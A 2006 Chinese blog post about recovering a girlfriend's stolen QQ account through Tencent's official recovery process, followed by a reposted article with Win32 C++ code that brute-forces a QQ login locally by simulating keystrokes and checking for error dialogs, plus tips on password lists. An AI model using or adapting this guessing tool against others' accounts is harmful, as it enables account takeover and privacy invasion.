随笔-113  评论-835  文章-1  trackbacks-0

前一阵子,mm的QQ被盗窃了。让我帮忙找,我费了不少力气,"暴力法"找回QQ密码方法也试了,登陆QQ论坛方法也试了。我最后一筹莫展。

还有人认为"暴力法"找回QQ密码好用吗?我现在发现很有难度,因为那毕竟不是一般人玩的?我最后选择了最文明的办法:找腾迅挂失,然后提供相关信息。开始我们提供的信息较少,被驳回了。我们最后提供了很多信息,包括我们曾经的聊天纪录等,最后功夫不负有心人,终于找回来了。


这里我想说的是,如果你QQ丢了,你就去腾迅挂失,如果想通过暴力破解或者是想办法盗回来,那太难了。

具体找回的细节,自己去腾迅主页看就好了,主要的是要记得很多相关的信息,否则不好找的。

附带一篇暴力破解的文章:
转自vckbase的blog文章

GF的QQ密码忘了,让我把密码找回来。于是,今天一晚上就耗在这上面了。

开始时候,依回忆将一些可能密码在QQ上逐一Try。Try了十几个都不是。郁闷。QQ密码保护又不知道答案。

这样下去不是个办法,于是想用程序方法自动输入密码。终于皇天不负有心人,程序帮我找回了密码!

偶猜想QQ的登录过程:
1)如果本机已登录过此QQ号码。则首先在本地验证,很可能只保存了密码的HASH值。比较两者的HASH值。
    如果不对,就弹出失败对话框。
    这样的目的:减少了一次非必要的网络访问,减轻QQ密码服务器的负担,或者xxx其他原因(方便真正丢失密码用户找回密码).
2)本地密码正确的话,才连接到服务器,再进行一次密码验证。

基于这样的假设,可以进行QQ本机的暴力破解。
主要过程 (解释部分参见代码comment):
1)找出QQ的登录窗口Handle。QQ登录窗口句柄不能直接获取到,需要先获取其某个子窗口,再通过子窗口找到登录窗口Handle。

HWND hQQLogin  =   0 ;
BOOL CALLBACK MyEnumWindowsProc(HWND hwnd,    LPARAM lParam)
{
    hQQLogin 
=  ::FindWindowEx(hwnd,  0 0 " 软键盘 " );    
    
if  (hQQLogin)
    
{
        
return  FALSE;
    }

    
return  TRUE;
}



// Hard to find the QQ login window handle directly, because it has different title each time.
// So we find the specific child window in login window, such as "login", or "soft keyboard"
// Then find the parent window of this child window, and the parent is just Login window.
HWND FindQQLogin()
{
    ::EnumWindows(MyEnumWindowsProc, 
0 );

    
return  ::GetParent(hQQLogin);
}


HWND FindTopWnd(
const   char *  pTitle)
{
    
return  ::FindWindowEx( 0 , 0 , 0 ,pTitle);
}


2)模拟键盘,输入密码

bool  CMyDialog::TryQQ(CString strCurrPass)
{
    
// Input password
    SendString(strCurrPass);
    SendEnter();

    
// Find the result window
    Sleep( 20 );
    HWND hFindResult 
=   0 ;
    
for  ( int  i  =   0 ; i < 20 ; i ++ )
    
{
        hFindResult 
=  FindTopWnd( " 错误 " );
        
if  (hFindResult)
        
{
            
break ;
        }

        
else
        
{
            Sleep(
50 );
        }

    }


    
if  ( ! hFindResult)
    
{
        
// Maybe the password is right
        CString strMessage;
        strMessage.Format(
" We find it possibly!: %s " , strCurrPass);
        MessageBox(strMessage);
        
return   true ;
    }


    
// close the "error" window
    SendEnter();

    
return   false ;
}


3)将自己常用密码字符串组合,逐个调用TryQQ()。

程序以20ms试一个密码,一个小时可以试180K个密码。因为有比较小的选择范围,我自己的密码十几秒就找回了。

注意几点:
1)QQ在本地机器上有过成功登陆。
2)破解时,关掉所有其他无关程序,以免干扰导致发现不正确的窗口Handle。
3)最好组织一些常用密码串,如果直接从a到z,1~10, 特殊字符,密码长的话,估计跑几个月都不一定到找出来。

另外,如果在公共机器上如果以“普通方式”登录QQ,这样他人理论上又可能破解此QQ密码,如果密码比较短,则破解可能性很大。
如果以“网吧方式“登录, QQ退出时可能不会保存密码或者密码HASH到本机。这样就安全一些。

posted on 2006-12-13 17:33 老韩 阅读(2132) 评论(2)  编辑  收藏 所属分类: 生活杂事

评论:
# re: QQ丢失了,是暴力破解管用还是四两拨千斤好? 2006-12-14 13:22 | 空谷幽兰
你真幸运啊!很多都没有办法取回啊,难哦~~  回复  更多评论
  
# 很多都没有办法取回啊 2006-12-14 16:40 | 精神分裂者
@空谷幽兰
呵呵,我认识的人,基本都找回来了,我一直相信邪不压正的的。 加油!!!  回复  更多评论